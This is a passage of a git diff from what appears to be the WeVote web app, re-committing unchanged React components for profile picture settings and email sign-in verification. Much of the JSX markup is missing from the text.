- // profileImageTypeCurrentlyActive = voter.profile_image_type_currently_active;
- // }
- this.setState({
- profileImageTypeCurrentlyActive: voter.profile_image_type_currently_active,
- voterFacebookImageUrlLarge: voter.we_vote_hosted_profile_facebook_image_url_large,
- voterTwitterImageUrlLarge: voter.we_vote_hosted_profile_twitter_image_url_large,
- });
- }
-
- setProfileImageTypeCurrentlyActive () {
- this.setState({
- profileImageTypeCurrentlyActive: 'UPLOADED',
- profileImageTypeCurrentlyActiveSet: true,
- });
- }
-
- save = (buttonId) => {
- const {
- profileImageTypeCurrentlyActive,
- profileImageTypeCurrentlyActiveSet,
- uploadedFile,
- uploadedFileStaged,
- } = this.state;
- // const voterPhotoQueuedToSave = VoterStore.getVoterPhotoQueuedToSave();
- // const voterPhotoQueuedToSaveSet = VoterStore.getVoterPhotoQueuedToSaveSet();
- if (profileImageTypeCurrentlyActiveSet && uploadedFileStaged) {
- VoterActions.voterPhotoSave(uploadedFile, uploadedFileStaged, profileImageTypeCurrentlyActive);
- // VoterActions.voterPhotoQueuedToSave(undefined);
-
- // Adding event data to dataLayer for Google Tag Manager
- const dataLayerObject = {
- event: 'action',
- actionDetails: {
- actionType: 'upload',
- buttonId,
- },
- userDetails: VoterStore.getAnalyticsUserDetails(),
- pageDetails: getPageDetails(),
- };
- TagManager.dataLayer({ dataLayer: dataLayerObject });
- }
-
- this.setState({
- profileImageTypeCurrentlyActiveSet: false,
- uploadedFile: '',
- uploadedFileStaged: false,
- });
- };
-
- onUploadLocal = (file) => {
- this.setState({
- profileImageTypeCurrentlyActive: 'UPLOADED',
- profileImageTypeCurrentlyActiveSet: true,
- uploadedFile: file,
- uploadedFileStaged: true,
- });
- };
-
- changeProfileImageTypeCurrentlyActive (e) {
- // console.log('changeProfileImageTypeCurrentlyActive:', e);
- this.setState({
- profileImageTypeCurrentlyActive: e.target.value,
- profileImageTypeCurrentlyActiveSet: true,
- });
- }
-
- facebookClicked () {
- this.setState({
- profileImageTypeCurrentlyActive: 'FACEBOOK',
- profileImageTypeCurrentlyActiveSet: true,
- uploadedFileStaged: false,
- });
- }
-
- render () {
- const {
- profileImageTypeCurrentlyActive, profileImageTypeCurrentlyActiveSet, uploadedFileStaged, voterFacebookImageUrlLarge, voterTwitterImageUrlLarge,
- } = this.state;
- const { classes } = this.props;
- const onlyOneOption = !(voterFacebookImageUrlLarge || voterTwitterImageUrlLarge);
-
- return (
-
-
-
-
-
-
-
- {voterFacebookImageUrlLarge && (
-
-
-
-
-
-
- )}
- {voterTwitterImageUrlLarge && (
-
-
-
-
-
-
- )}
-
-
-
-
- this.save('saveEditYourPhotoBottom')}
- variant="contained"
- >
- {(!profileImageTypeCurrentlyActiveSet && !uploadedFileStaged) ? 'Photo saved' : 'Save photo'}
-
-
-
-
- );
- }
-}
-SettingsProfilePicture.propTypes = {
- classes: PropTypes.object,
-};
-
-const styles = () => ({
- button: {
- marginTop: 12,
- marginBottom: 8,
- },
- buttonSave: {
- boxShadow: 'none !important',
- // fontSize: '18px',
- // height: '45px !important',
- marginLeft: 10,
- padding: '0 30px',
- textTransform: 'none',
- // width: 150,
- },
-});
-
-const Wrapper = styled('div')`
-`;
-
-export default withStyles(styles)(SettingsProfilePicture);
+import { Button, FormControlLabel, Radio } from '@mui/material';
+import styled from 'styled-components';
+import TagManager from 'react-gtm-module';
+import withStyles from '@mui/styles/withStyles';
+import PropTypes from 'prop-types';
+import React, { Component } from 'react';
+import {
+ ColumnWrapper, CustomColumns, ProfilePicture, ProfilePictureOption,
+ ProfilePictureWrapper, RadioWrapper, SaveInnerWrapper, SaveOuterWrapper,
+ Separator,
+} from '../Style/ProfilePictureStyles';
+import VoterActions from '../../actions/VoterActions';
+import VoterPhotoUpload from '../../common/components/Settings/VoterPhotoUpload';
+import VoterStore from '../../stores/VoterStore';
+import { getPageDetails } from '../../utils/lookupPageNameAndPageTypeDict';
+
+class SettingsProfilePicture extends Component {
+ constructor (props) {
+ super(props);
+ this.state = {
+ profileImageTypeCurrentlyActive: 'UPLOADED',
+ profileImageTypeCurrentlyActiveSet: false,
+ uploadedFile: '',
+ uploadedFileStaged: false,
+ voterFacebookImageUrlLarge: '',
+ voterTwitterImageUrlLarge: '',
+ };
+ this.changeProfileImageTypeCurrentlyActive = this.changeProfileImageTypeCurrentlyActive.bind(this);
+ this.setProfileImageTypeCurrentlyActive = this.setProfileImageTypeCurrentlyActive.bind(this);
+ }
+
+ componentDidMount () {
+ this.voterStoreListener = VoterStore.addListener(this.onVoterStoreChange.bind(this));
+ this.onVoterStoreChange();
+ }
+
+ componentWillUnmount () {
+ this.voterStoreListener.remove();
+ }
+
+ onVoterStoreChange () {
+ // const { uploadedFileStaged } = this.state;
+ const voter = VoterStore.getVoter();
+ // let profileImageTypeCurrentlyActive = 'UPLOADED';
+ // if (voter.profile_image_type_currently_active !== 'UNKNOWN' && !uploadedFileStaged) {
+ // profileImageTypeCurrentlyActive = voter.profile_image_type_currently_active;
+ // }
+ this.setState({
+ profileImageTypeCurrentlyActive: voter.profile_image_type_currently_active,
+ voterFacebookImageUrlLarge: voter.we_vote_hosted_profile_facebook_image_url_large,
+ voterTwitterImageUrlLarge: voter.we_vote_hosted_profile_twitter_image_url_large,
+ });
+ }
+
+ setProfileImageTypeCurrentlyActive () {
+ this.setState({
+ profileImageTypeCurrentlyActive: 'UPLOADED',
+ profileImageTypeCurrentlyActiveSet: true,
+ });
+ }
+
+ save = (buttonId) => {
+ const {
+ profileImageTypeCurrentlyActive,
+ profileImageTypeCurrentlyActiveSet,
+ uploadedFile,
+ uploadedFileStaged,
+ } = this.state;
+ // const voterPhotoQueuedToSave = VoterStore.getVoterPhotoQueuedToSave();
+ // const voterPhotoQueuedToSaveSet = VoterStore.getVoterPhotoQueuedToSaveSet();
+ if (profileImageTypeCurrentlyActiveSet && uploadedFileStaged) {
+ VoterActions.voterPhotoSave(uploadedFile, uploadedFileStaged, profileImageTypeCurrentlyActive);
+ // VoterActions.voterPhotoQueuedToSave(undefined);
+
+ // Adding event data to dataLayer for Google Tag Manager
+ const dataLayerObject = {
+ event: 'action',
+ actionDetails: {
+ actionType: 'upload',
+ buttonId,
+ },
+ userDetails: VoterStore.getAnalyticsUserDetails(),
+ pageDetails: getPageDetails(),
+ };
+ TagManager.dataLayer({ dataLayer: dataLayerObject });
+ }
+
+ this.setState({
+ profileImageTypeCurrentlyActiveSet: false,
+ uploadedFile: '',
+ uploadedFileStaged: false,
+ });
+ };
+
+ onUploadLocal = (file) => {
+ this.setState({
+ profileImageTypeCurrentlyActive: 'UPLOADED',
+ profileImageTypeCurrentlyActiveSet: true,
+ uploadedFile: file,
+ uploadedFileStaged: true,
+ });
+ };
+
+ changeProfileImageTypeCurrentlyActive (e) {
+ // console.log('changeProfileImageTypeCurrentlyActive:', e);
+ this.setState({
+ profileImageTypeCurrentlyActive: e.target.value,
+ profileImageTypeCurrentlyActiveSet: true,
+ });
+ }
+
+ facebookClicked () {
+ this.setState({
+ profileImageTypeCurrentlyActive: 'FACEBOOK',
+ profileImageTypeCurrentlyActiveSet: true,
+ uploadedFileStaged: false,
+ });
+ }
+
+ render () {
+ const {
+ profileImageTypeCurrentlyActive, profileImageTypeCurrentlyActiveSet, uploadedFileStaged, voterFacebookImageUrlLarge, voterTwitterImageUrlLarge,
+ } = this.state;
+ const { classes } = this.props;
+ const onlyOneOption = !(voterFacebookImageUrlLarge || voterTwitterImageUrlLarge);
+
+ return (
+
+
+
+
+
+
+
+ {voterFacebookImageUrlLarge && (
+
+
+
+
+
+
+ )}
+ {voterTwitterImageUrlLarge && (
+
+
+
+
+
+
+ )}
+
+
+
+
+ this.save('saveEditYourPhotoBottom')}
+ variant="contained"
+ >
+ {(!profileImageTypeCurrentlyActiveSet && !uploadedFileStaged) ? 'Photo saved' : 'Save photo'}
+
+
+
+
+ );
+ }
+}
+SettingsProfilePicture.propTypes = {
+ classes: PropTypes.object,
+};
+
+const styles = () => ({
+ button: {
+ marginTop: 12,
+ marginBottom: 8,
+ },
+ buttonSave: {
+ boxShadow: 'none !important',
+ // fontSize: '18px',
+ // height: '45px !important',
+ marginLeft: 10,
+ padding: '0 30px',
+ textTransform: 'none',
+ // width: 150,
+ },
+});
+
+const Wrapper = styled('div')`
+`;
+
+export default withStyles(styles)(SettingsProfilePicture);
diff --git a/src/js/components/Settings/VoterEmailAddressEntry.jsx b/src/js/components/Settings/VoterEmailAddressEntry.jsx
index 1681a3553a..4ebf6b8ce2 100644
--- a/src/js/components/Settings/VoterEmailAddressEntry.jsx
+++ b/src/js/components/Settings/VoterEmailAddressEntry.jsx
@@ -1,777 +1,777 @@
-import { Delete, Mail } from '@mui/icons-material';
-import { Button, InputAdornment, TextField } from '@mui/material';
-import Alert from '@mui/material/Alert';
-import withStyles from '@mui/styles/withStyles';
-import PropTypes from 'prop-types';
-import React, { Component, Suspense } from 'react';
-import styled from 'styled-components';
-import OverlayTrigger from 'react-bootstrap/OverlayTrigger';
-import TagManager from 'react-gtm-module';
-import Tooltip from 'react-bootstrap/Tooltip';
-import VoterActions from '../../actions/VoterActions';
-import LoadingWheel from '../../common/components/Widgets/LoadingWheel';
-import apiCalming from '../../common/utils/apiCalming';
-import { blurTextFieldAndroid, isIPad } from '../../common/utils/cordovaUtils';
-import { isCordova, isWebApp } from '../../common/utils/isCordovaOrWebApp';
-import isMobileScreenSize from '../../common/utils/isMobileScreenSize';
-import { renderLog } from '../../common/utils/logging';
-import VoterStore from '../../stores/VoterStore';
-import { FirstRowPhoneOrEmail, SecondRowPhoneOrEmail, SecondRowPhoneOrEmailDiv, AllPhoneOrEmailTypes } from '../Style/pageLayoutStyles';
-import { ButtonContainerHorizontal } from '../Welcome/sectionStyles';
-import SettingsVerifySecretCode from '../../common/components/Settings/SettingsVerifySecretCode';
-import { validateEmail } from '../../utils/regex-checks';
-import { getPageDetails } from '../../utils/lookupPageNameAndPageTypeDict';
-
-const OpenExternalWebSite = React.lazy(() => import(/* webpackChunkName: 'OpenExternalWebSite' */ '../../common/components/Widgets/OpenExternalWebSite'));
-
-let shiftTabKeyPressed = false;
-class VoterEmailAddressEntry extends Component {
- constructor (props) {
- super(props);
- this.emailInputRef = React.createRef();
- this.state = {
- disableEmailVerificationButton: true,
- displayEmailVerificationButton: false,
- displayIncorrectEmailError: false,
- emailErrorTimeoutId: '',
- emailAddressStatus: {
- email_address_already_owned_by_other_voter: false,
- email_address_already_owned_by_this_voter: false,
- email_address_created: false,
- email_address_deleted: false,
- email_address_not_valid: false,
- link_to_sign_in_email_sent: false,
- make_primary_email: false,
- sign_in_code_email_sent: false,
- verification_email_sent: false,
- movedInitialFocus: false,
- },
- hideExistingEmailAddresses: false,
- loading: false,
- // movedInitialFocus: false,
- secretCodeSystemLocked: false,
- showVerifyModal: false,
- // voter: VoterStore.getVoter(),
- voterEmailAddress: '',
- voterEmailAddressIsValid: false,
- voterEmailAddressList: [],
- voterEmailAddressListCount: 0,
- // voterEmailAddressesVerifiedCount: 0,
- };
-
- // NOTE October 2022: This file has lots of commented out code, do not remove until there has been an iOS release
- // if (isCordova()) {
- // signInModalGlobalState.set('textOrEmailSignInInProcess', true);
- // }
- }
-
- componentDidMount () {
- this.onVoterStoreChange();
- this.voterStoreListener = VoterStore.addListener(this.onVoterStoreChange.bind(this));
- VoterActions.voterEmailAddressRetrieve();
- if (this.emailInputRef && this.emailInputRef.current) {
- this.emailInputRef.current.blur();
- }
- this._isMounted = true;
- }
-
- componentDidUpdate () {
- // const { movedInitialFocus } = this.state;
- // if (isCordova() && !movedInitialFocus) {
- // const inputFld = $('#enterVoterEmailAddress');
- // // console.log('enterVoterEmailAddress ', $(inputFld));
- // $(inputFld).focus();
- // if ($(inputFld).is(':focus')) {
- // this.setState({ movedInitialFocus: true });
- // }
- // }
- }
-
- componentWillUnmount () {
- this.voterStoreListener.remove();
- this._isMounted = false;
- }
-
- onVoterStoreChange () {
- const emailAddressStatus = VoterStore.getEmailAddressStatus();
- const { secret_code_system_locked_for_this_voter_device_id: secretCodeSystemLocked } = emailAddressStatus;
- const secretCodeVerificationStatus = VoterStore.getSecretCodeVerificationStatus();
- const { secretCodeVerified } = secretCodeVerificationStatus;
- // console.log('onVoterStoreChange secretCodeVerificationStatus:', secretCodeVerificationStatus);
- const voter = VoterStore.getVoter();
- const { is_signed_in: isSignedIn } = voter;
- if (secretCodeVerified && !isSignedIn) {
- // console.log('VoterEmailAddressEntry onVoterStoreChange secretCodeVerified && !isSignedIn, VoterActions.voterRetrieve()');
- if (apiCalming('voterRetrieve', 500)) {
- VoterActions.voterRetrieve();
- }
- this.closeSignInModalLocal();
- }
-
- const newState = {}; // Don't set state twice in the same function
- // console.log(`VoterEmailAddressEntry onVoterStoreChange isSignedIn: ${isSignedIn}, signedInWithSmsPhoneNumber: ${signedInWithSmsPhoneNumber}`);
- if (secretCodeVerified) {
- Object.assign(newState, {
- displayEmailVerificationButton: false,
- showVerifyModal: false,
- voterEmailAddress: '',
- });
- } else if (emailAddressStatus.sign_in_code_email_sent) {
- Object.assign(newState, {
- displayEmailVerificationButton: false,
- emailAddressStatus: {
- sign_in_code_email_sent: false,
- },
- showVerifyModal: true,
- });
- } else if (emailAddressStatus.email_address_already_owned_by_this_voter) {
- Object.assign(newState, {
- displayEmailVerificationButton: false,
- emailAddressStatus,
- showVerifyModal: false,
- });
- } else {
- Object.assign(newState, {
- emailAddressStatus,
- });
- }
- const voterEmailAddressList = VoterStore.getEmailAddressList();
- const voterEmailAddressListCount = voterEmailAddressList.length;
- // const voterEmailAddressesVerifiedCount = VoterStore.getEmailAddressesVerifiedCount();
- Object.assign(newState, {
- loading: false,
- secretCodeSystemLocked,
- voter: VoterStore.getVoter(),
- voterEmailAddressList,
- voterEmailAddressListCount,
- // voterEmailAddressesVerifiedCount,
- });
- if (this._isMounted) {
- this.setState(newState);
- }
- }
-
- setAsPrimaryEmailAddress (emailWeVoteId) {
- VoterActions.setAsPrimaryEmailAddress(emailWeVoteId);
- }
-
- voterEmailAddressSave = (event) => {
- // console.log('VoterEmailAddressEntry this.voterEmailAddressSave');
- event.preventDefault();
- const { displayEmailVerificationButton, voterEmailAddress } = this.state;
- if (displayEmailVerificationButton && voterEmailAddress) {
- const sendLinkToSignIn = true;
- this.setState({
- loading: true,
- }, () => VoterActions.voterEmailAddressSave(voterEmailAddress, sendLinkToSignIn));
- }
- };
-
- showEmailOnlySignInLocal = () => {
- this.setState({
- hideExistingEmailAddresses: true,
- signInCodeEmailSentAndWaitingForResponse: false,
- });
- if (this.props.showEmailOnlySignIn) {
- this.props.showEmailOnlySignIn();
- }
- };
-
- closeSignInModalLocal = () => {
- // console.log('VoterEmailAddressEntry closeSignInModalLocal');
- if (this.props.closeSignInModal) {
- this.props.closeSignInModal();
- }
- };
-
- closeSignInModalFromVerifySecretCode = () => {
- // console.log('VoterEmailAddressEntry closeSignInModalFromVerifySecretCode');
- setTimeout(() => {
- VoterActions.clearSecretCodeVerificationStatusAndEmail();
- }, 1000);
- this.closeSignInModalLocal();
- };
-
- closeVerifyModalFromVerifySecretCode = () => {
- // console.log('VoterEmailAddressEntry closeVerifyModalFromVerifySecretCode');
- this.setState({
- displayEmailVerificationButton: false,
- emailAddressStatus: {
- sign_in_code_email_sent: false,
- },
- showVerifyModal: false,
- signInCodeEmailSentAndWaitingForResponse: false,
- });
- setTimeout(() => {
- // A timer hack to prevent a "React state update on an unmounted component"
- VoterActions.clearSecretCodeVerificationStatusAndEmail();
- }, 1000);
- if (this.props.closeVerifyModal) {
- this.props.closeVerifyModal();
- }
- };
-
- onVoterEmailAddressChange = (event) => {
- if (this.state.emailErrorTimeoutId) {
- clearTimeout(this.state.emailErrorTimeoutId);
- }
- this.setState({ displayIncorrectEmailError: false });
- const voterEmailAddress = event.target.value;
- const voterEmailAddressIsValid = validateEmail(voterEmailAddress);
- const disableEmailVerificationButton = !voterEmailAddressIsValid;
- const displayEmailVerificationButton = (voterEmailAddress && voterEmailAddress.length > 0);
- const emailErrorTimeoutId = setTimeout(() => {
- if (voterEmailAddress && !voterEmailAddressIsValid) {
- this.setState({ displayIncorrectEmailError: true });
- }
- }, 2000);
- this.setState({
- disableEmailVerificationButton,
- displayEmailVerificationButton,
- emailErrorTimeoutId,
- voterEmailAddress,
- voterEmailAddressIsValid,
- });
- };
-
- onBlur = () => {
- const { voterEmailAddress } = this.state;
- if (!voterEmailAddress) {
- // Only hide the phone verification button if the user has not "unlocked" the button used to send the message.
- this.props.showAllSignInOptions();
- this.setState({
- displayEmailVerificationButton: false,
- });
- if (!shiftTabKeyPressed) {
- const TermsOfServiceLink = document.getElementById('openTermsOfService');
- if (TermsOfServiceLink) {
- TermsOfServiceLink.focus();
- }
- } else if (isCordova() || isMobileScreenSize()) {
- if (this.props.showPhoneOnlySignIn) {
- this.props.showPhoneOnlySignIn();
- setTimeout(() => {
- // console.log('VoterEmailAddress focus to enterVoterPhone');
- const nextField = document.getElementById('enterVoterPhone');
- if (nextField) {
- nextField.focus();
- }
- }, 100);
- }
- }
- blurTextFieldAndroid();
- }
- };
-
- onCancel = () => {
- // console.log('VoterEmailAddressEntry onCancel');
- this.setState({
- disableEmailVerificationButton: true,
- displayEmailVerificationButton: false,
- displayIncorrectEmailError: false,
- signInCodeEmailSentAndWaitingForResponse: false,
- voterEmailAddress: '', // Clearing voterEmailAddress variable does not always clear email in form
- });
-
- // console.log('before clearSecretCodeVerificationStatusAndEmail in onCancel');
- VoterActions.clearSecretCodeVerificationStatusAndEmail();
- this.props.showAllSignInOptions();
- if (this.state.emailErrorTimeoutId) {
- clearTimeout(this.state.emailErrorTimeoutId);
- }
- this.setState({ displayIncorrectEmailError: false });
- const textField = document.getElementById('enterVoterEmailAddress');
- textField.innerText = '';
- const { cancelShouldCloseModal } = this.props;
- // console.log('cancelShouldCloseModal:', cancelShouldCloseModal);
- if (cancelShouldCloseModal) {
- this.closeSignInModalLocal();
- }
- const TermsOfServiceLink = document.getElementById('openTermsOfService');
- if (TermsOfServiceLink) {
- // console.log('VoterEmailAddress focus to TermsOfServiceLink');
- TermsOfServiceLink.focus();
- }
- };
-
- onFocus = () => {
- this.setState({
- displayEmailVerificationButton: true,
- });
- if (isCordova() || isMobileScreenSize()) {
- this.showEmailOnlySignInLocal();
- }
- // focusTextFieldAndroid(); // This refers to caller string AddFriendsByEmail. Correct?
- };
-
- onAnimationEndCancel = () => {
- // In Cordova when the virtual keyboard goes away, the on-click doesn't happen, but the onAnimation does.
- // This allows us to react to the first click.
- // if (isCordova()) {
- // console.log('VoterEmailAddressEntry onAnimationEndCancel calling onCancel');
- // this.onCancel();
- // }
- };
-
- onAnimationEndSend = () => {
- if (isCordova()) {
- // console.log('VoterPhoneVerificationEntry onAnimationEndSend calling sendSignInCodeEmail');
- this.sendSignInCodeEmail();
- }
- };
-
- onKeyDown = (event) => {
- // console.log('onKeyDown, event.keyCode:', event.keyCode);
- const SPACE_KEY_CODE = 32;
- const keyCodesToBlock = [SPACE_KEY_CODE];
- if (event.key === 'Tab' && event.shiftKey) {
- shiftTabKeyPressed = true;
- } else {
- shiftTabKeyPressed = false;
- }
- if (keyCodesToBlock.includes(event.keyCode)) {
- event.preventDefault();
- }
- };
-
- // eslint-disable-next-line react/sort-comp
- removeVoterEmailAddress (emailWeVoteId) {
- VoterActions.removeVoterEmailAddress(emailWeVoteId);
- return null;
- }
-
- sendSignInCodeEmail = (event) => {
- const { displayEmailVerificationButton, voterEmailAddress, voterEmailAddressIsValid } = this.state;
- // console.log('displayEmailVerificationButton:', displayEmailVerificationButton, ', voterEmailAddress:', voterEmailAddress, ', voterEmailAddressIsValid:', voterEmailAddressIsValid);
- if (event) {
- event.preventDefault();
- }
- if (voterEmailAddressIsValid && displayEmailVerificationButton) {
- VoterActions.sendSignInCodeEmail(voterEmailAddress);
- this.setState({
- emailAddressStatus: {
- email_address_already_owned_by_other_voter: false,
- },
- signInCodeEmailSentAndWaitingForResponse: true,
- });
- } else {
- this.setState({ displayIncorrectEmailError: true });
- }
- };
-
- reSendSignInCodeEmail = (voterEmailAddress) => {
- // console.log('VoterEmailAddressEntry voterEmailAddress:', voterEmailAddress);
- if (voterEmailAddress) {
- VoterActions.sendSignInCodeEmail(voterEmailAddress);
- this.setState({
- emailAddressStatus: {
- email_address_already_owned_by_other_voter: false,
- },
- loading: true,
- voterEmailAddress,
- });
- }
- };
-
- pushDataLayer = (buttonId, actionType) => {
- const dataLayerObject = {
- actionDetails: {
- actionType,
- buttonId,
- },
- event: 'click',
- verifyDetails: {
- verifyMethod: 'email',
- },
- pageDetails: getPageDetails(),
- userDetails: VoterStore.getAnalyticsUserDetails(),
- };
- TagManager.dataLayer({ dataLayer: dataLayerObject });
- };
-
- render () {
- renderLog('VoterEmailAddressEntry'); // Set LOG_RENDER_EVENTS true to log all renders
- const { doNotRender } = this.props;
- if (doNotRender) {
- return null;
- }
- const { loading } = this.state;
- if (loading) {
- return LoadingWheel;
- }
-
- const { classes, hideEverythingButSignInWithEmailForm, hideSignInWithEmailForm, lockOpenEmailVerificationButton } = this.props;
- const {
- disableEmailVerificationButton, displayEmailVerificationButton,
- displayIncorrectEmailError, emailAddressStatus, hideExistingEmailAddresses,
- secretCodeSystemLocked, showVerifyModal, signInCodeEmailSentAndWaitingForResponse,
- voterEmailAddress, voterEmailAddressList, voterEmailAddressListCount,
- } = this.state;
-
- const signInLinkOrCodeSent = (emailAddressStatus.link_to_sign_in_email_sent || emailAddressStatus.sign_in_code_email_sent);
- // console.log('showVerifyModal:', showVerifyModal, ', signInLinkOrCodeSent:', signInLinkOrCodeSent);
- const emailAddressStatusHtml = (
-
- { emailAddressStatus.email_address_not_valid ||
- (emailAddressStatus.email_address_already_owned_by_this_voter && !emailAddressStatus.email_address_deleted && !emailAddressStatus.make_primary_email && !secretCodeSystemLocked) ||
- (emailAddressStatus.email_address_already_owned_by_other_voter && !signInLinkOrCodeSent && !secretCodeSystemLocked) ||
- secretCodeSystemLocked ? (
-
- { emailAddressStatus.email_address_not_valid && (
- Please enter a valid email address.
- )}
- { emailAddressStatus.email_address_already_owned_by_other_voter && !signInLinkOrCodeSent && !secretCodeSystemLocked && (
-
- That email is already being used by another account.
-
- )}
- { emailAddressStatus.email_address_already_owned_by_this_voter && !emailAddressStatus.email_address_deleted && !emailAddressStatus.make_primary_email && !secretCodeSystemLocked ? (
- That email address was already verified by you.
- ) : null }
- { secretCodeSystemLocked && (
-
- Your account is locked. Please
- }>
- contact WeVote support for help.}
- />
-
-
- )}
-
- ) : null}
- { emailAddressStatus.email_address_created ||
- emailAddressStatus.email_address_deleted ||
- emailAddressStatus.email_ownership_is_verified ||
- emailAddressStatus.verification_email_sent ||
- emailAddressStatus.link_to_sign_in_email_sent ||
- (emailAddressStatus.make_primary_email && (emailAddressStatus.email_address_created || emailAddressStatus.email_address_found || emailAddressStatus.sign_in_code_email_sent) && !secretCodeSystemLocked) ||
- emailAddressStatus.sign_in_code_email_sent ? (
-
- { emailAddressStatus.email_address_created &&
- !emailAddressStatus.verification_email_sent ? Your email address was saved. : null }
- { emailAddressStatus.email_address_deleted ? Your email address was deleted. : null }
- { emailAddressStatus.email_ownership_is_verified ? Your email address was verified. : null }
- { emailAddressStatus.verification_email_sent ? Please check your email. A verification email was sent. : null }
- { emailAddressStatus.link_to_sign_in_email_sent ? Please check your email. A sign in link was sent. : null }
- { emailAddressStatus.make_primary_email && (emailAddressStatus.email_address_created || emailAddressStatus.email_address_found || emailAddressStatus.sign_in_code_email_sent) && !secretCodeSystemLocked ? Your have chosen a new primary email. : null }
- { emailAddressStatus.sign_in_code_email_sent ? Please check your email. A sign in verification code was sent. : null }
-
- ) : null}
-
- );
-
- const enterEmailHtml = hideSignInWithEmailForm ? null : (
-
-
- {!(displayEmailVerificationButton || lockOpenEmailVerificationButton) && (
-
- );
-
- let allowRemoveEmail;
- let emailOwnershipIsVerified;
- let isPrimaryEmailAddress;
-
- // ///////////////////////////////////
- // LIST OF VERIFIED EMAILS
- let verifiedEmailsFound = false;
- const verifiedEmailListHtml = voterEmailAddressList.map((voterEmailAddressFromList) => {
- emailOwnershipIsVerified = !!voterEmailAddressFromList.email_ownership_is_verified;
-
- if (emailOwnershipIsVerified) {
- verifiedEmailsFound = true;
- allowRemoveEmail = voterEmailAddressFromList.primary_email_address !== true;
- isPrimaryEmailAddress = voterEmailAddressFromList.primary_email_address === true;
-
- return (
-
-
- {voterEmailAddressFromList.normalized_email_address}
-
-
- {isPrimaryEmailAddress ? (
-
-
- Primary
-
-
-
- You must add a new primary email before removing this one.
-
- )}
- >
-
-
-
-
-
-
-
- ) : (
-
- this.setAsPrimaryEmailAddress(voterEmailAddressFromList.email_we_vote_id)}
- >
- Make Primary
-
- {allowRemoveEmail && (
-
-
- this.removeVoterEmailAddress(voterEmailAddressFromList.email_we_vote_id)}
- >
-
-
-
- )}
-
- )}
-
-
-
-
- {voterEmailAddressFromList.normalized_email_address}
-
- {voterEmailAddressFromList.email_ownership_is_verified ?
- null : (
-
-
- this.reSendSignInCodeEmail(voterEmailAddressFromList.normalized_email_address)}
- id="sendVerificationCodeAgain"
- >
- Send verification again
-
- {allowRemoveEmail && (
-
- this.removeVoterEmailAddress(voterEmailAddressFromList.email_we_vote_id)}
- >
-
-
- )}
-
-
- )}
-
-
- {(hideEverythingButSignInWithEmailForm || hideExistingEmailAddresses) ? (
-
- {emailAddressStatusHtml}
-
- ) : (
-
- {verifiedEmailsFound ? (
-
-
- Your Email
- {voterEmailAddressListCount > 1 ? 's' : ''}
-
- {emailAddressStatusHtml}
- {verifiedEmailListHtml}
-
- ) : (
-
- {emailAddressStatusHtml}
-
- )}
- {unverifiedEmailsFound && (
-
- Emails to Verify
- {toVerifyEmailListHtml}
-
- )}
-
- )}
- {!hideSignInWithEmailForm && (
-
- {enterEmailHtml}
-
- )}
- {showVerifyModal && (
-
- );
- }
-}
-VoterEmailAddressEntry.propTypes = {
- cancelShouldCloseModal: PropTypes.bool,
- classes: PropTypes.object,
- closeSignInModal: PropTypes.func,
- closeVerifyModal: PropTypes.func,
- doNotRender: PropTypes.bool,
- hideEverythingButSignInWithEmailForm: PropTypes.bool,
- hideSignInWithEmailForm: PropTypes.bool,
- lockOpenEmailVerificationButton: PropTypes.bool,
- showAllSignInOptions: PropTypes.func,
- showPhoneOnlySignIn: PropTypes.func,
- showEmailOnlySignIn: PropTypes.func,
-};
-
-const styles = {
- paperRoot: {
- border: '1px solid #ccc',
- boxShadow: 'none',
- display: 'flex',
- justifyContent: 'space-between',
- alignItems: 'center',
- width: '100%',
- paddingLeft: 8,
- marginBottom: 8,
- },
- input: {
- marginLeft: 0.1,
- flex: 1,
- },
-};
-
-const ButtonsHiddenSpacer = styled('div')`
- height: 44px;
-`;
-
-const ButtonWrapper = styled('div')`
- width: 100%;
- margin: 4px 0 0 0;
- display: flex;
- align-items: center;
- justify-content: flex-end;
-`;
-
-const CancelButtonContainer = styled('div')`
- width: fit-content;
-`;
-
-const EmailSection = styled('div', {
- shouldForwardProp: (prop) => !['isWeb'].includes(prop),
-})(({ isWeb }) => (`
- margin-top: ${isWeb ? '0' : '0'};
-`));
-
-const Wrapper = styled('div', {
- shouldForwardProp: (prop) => !['isWeb'].includes(prop),
-})(({ isWeb }) => (`
- margin-top: ${isWeb ? '0' : '0'};
- ${isIPad() ? 'text-align: left; padding-left: 110px;' : ''};
-)}
-`));
-
-export default withStyles(styles)(VoterEmailAddressEntry);
+import { Delete, Mail } from '@mui/icons-material';
+import { Button, InputAdornment, TextField } from '@mui/material';
+import Alert from '@mui/material/Alert';
+import withStyles from '@mui/styles/withStyles';
+import PropTypes from 'prop-types';
+import React, { Component, Suspense } from 'react';
+import styled from 'styled-components';
+import OverlayTrigger from 'react-bootstrap/OverlayTrigger';
+import TagManager from 'react-gtm-module';
+import Tooltip from 'react-bootstrap/Tooltip';
+import VoterActions from '../../actions/VoterActions';
+import LoadingWheel from '../../common/components/Widgets/LoadingWheel';
+import apiCalming from '../../common/utils/apiCalming';
+import { blurTextFieldAndroid, isIPad } from '../../common/utils/cordovaUtils';
+import { isCordova, isWebApp } from '../../common/utils/isCordovaOrWebApp';
+import isMobileScreenSize from '../../common/utils/isMobileScreenSize';
+import { renderLog } from '../../common/utils/logging';
+import VoterStore from '../../stores/VoterStore';
+import { FirstRowPhoneOrEmail, SecondRowPhoneOrEmail, SecondRowPhoneOrEmailDiv, AllPhoneOrEmailTypes } from '../Style/pageLayoutStyles';
+import { ButtonContainerHorizontal } from '../Welcome/sectionStyles';
+import SettingsVerifySecretCode from '../../common/components/Settings/SettingsVerifySecretCode';
+import { validateEmail } from '../../utils/regex-checks';
+import { getPageDetails } from '../../utils/lookupPageNameAndPageTypeDict';
+
+const OpenExternalWebSite = React.lazy(() => import(/* webpackChunkName: 'OpenExternalWebSite' */ '../../common/components/Widgets/OpenExternalWebSite'));
+
+let shiftTabKeyPressed = false;
+class VoterEmailAddressEntry extends Component {
+ constructor (props) {
+ super(props);
+ this.emailInputRef = React.createRef();
+ this.state = {
+ disableEmailVerificationButton: true,
+ displayEmailVerificationButton: false,
+ displayIncorrectEmailError: false,
+ emailErrorTimeoutId: '',
+ emailAddressStatus: {
+ email_address_already_owned_by_other_voter: false,
+ email_address_already_owned_by_this_voter: false,
+ email_address_created: false,
+ email_address_deleted: false,
+ email_address_not_valid: false,
+ link_to_sign_in_email_sent: false,
+ make_primary_email: false,
+ sign_in_code_email_sent: false,
+ verification_email_sent: false,
+ movedInitialFocus: false,
+ },
+ hideExistingEmailAddresses: false,
+ loading: false,
+ // movedInitialFocus: false,
+ secretCodeSystemLocked: false,
+ showVerifyModal: false,
+ // voter: VoterStore.getVoter(),
